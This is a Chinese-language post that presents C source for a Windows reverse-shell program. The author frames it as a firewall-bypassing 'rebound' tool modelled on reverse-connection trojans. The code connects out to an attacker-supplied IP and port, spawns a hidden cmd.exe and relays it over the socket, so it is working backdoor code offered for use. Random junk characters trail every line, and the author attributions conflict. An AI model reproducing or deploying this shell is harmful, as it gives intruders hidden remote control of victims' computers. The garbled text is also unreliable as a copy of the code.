这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y{O&-5H^|
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/* ============================== gO/(/e>P
Rebound port in Windows NT $?s^HKF~
By wind,2006/7 s{IoL_PJP
===============================*/ aQG#bh [
#include
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#include T9$U./69-L
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#pragma comment(lib,"wsock32.lib") UP`q6]P
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void OutputShell(); $e_ps~{7$
SOCKET sClient; ~H$XSNPi
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p']AXJ`Z
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void main(int argc,char **argv) [_0g^(`
{ j~{2fd<>
WSADATA stWsaData; i f"v4PHq
int nRet; a2 SQ:d
SOCKADDR_IN stSaiClient,stSaiServer; 68)^i"DM<
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if(argc != 3) MCCZh{uo
{ ku{aOV%
printf("Useage:\n\rRebound DestIP DestPort\n"); <- ?B#
return; 9s!/y iP5
} nZT@d;]U9
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WSAStartup(MAKEWORD(2,2),&stWsaData); jgstx3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <2Q@^
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stSaiClient.sin_family = AF_INET; n>4S P_[E7
stSaiClient.sin_port = htons(0); gP<_DEd^`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,YY#ed&l
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n~ql]Ln
{ Gw./qu-W
printf("Bind Socket Failed!\n"); \1!k)PZdTW
return; ;1dz?'%V
} /'1y`j<
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stSaiServer.sin_family = AF_INET; /Ow?nWSt
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k$c
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gctaarB&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bxN;"{>Xz
{ F[u%t34'
printf("Connect Error!");
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return; V9VP"kD
} x.yL'J\)
OutputShell(); *p3P\ H^5
} 2{CSH_"Z7
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void OutputShell() eTc`FXw`
{ ETOc4hMO
char szBuff[1024]; hkJZqUA
SECURITY_ATTRIBUTES stSecurityAttributes; vo$66A
OSVERSIONINFO stOsversionInfo; CwvNxH#LVu
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /RM-+D:Y
STARTUPINFO stStartupInfo; W,~1KUTc
char *szShell; 78)^vvn5~
PROCESS_INFORMATION stProcessInformation; k~#|8eLv
unsigned long lBytesRead; Q8x{V_Pot
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @QG1\W'
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l:eN u}{&
stSecurityAttributes.lpSecurityDescriptor = 0; KV_Ga8hs
stSecurityAttributes.bInheritHandle = TRUE; @"8QG^q8de
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J7GsNFL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fYy.>m+P1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ra>`J_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )0mDN.
stStartupInfo.wShowWindow = SW_HIDE; JNaW>X$K
stStartupInfo.hStdInput = hReadPipe; ]e.+u
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L_mqC(vn
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GetVersionEx(&stOsversionInfo); MPbPq3an
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switch(stOsversionInfo.dwPlatformId) n*~
{ ef&@aB
case 1: %KF:-
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szShell = "command.com"; h<;[P?z
break; ap^=CEf
default: Q~JKKq
szShell = "cmd.exe"; 6# ";W2
break; 1omvE9
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} >UY_:cW4%m
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W_\L_)^X
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send(sClient,szMsg,77,0); FH8mK)
while(1) #<Nvy9
{ ;6nZ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b:Kw_Q
if(lBytesRead) bU ]N^og^
{ ==1/N{{R
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K9Xd?
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send(sClient,szBuff,lBytesRead,0); DA)v3Nd
} =zeLs0s;
else %:KV2GP
{ vQmackY
lBytesRead=recv(sClient,szBuff,1024,0); !`[I>:Ex
if(lBytesRead<=0) break; DXW?;|8)O
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8$ZSF92C
} 1lyOp
} I<./(X[H:#
/}`/i(k
return; w"agn}CK
}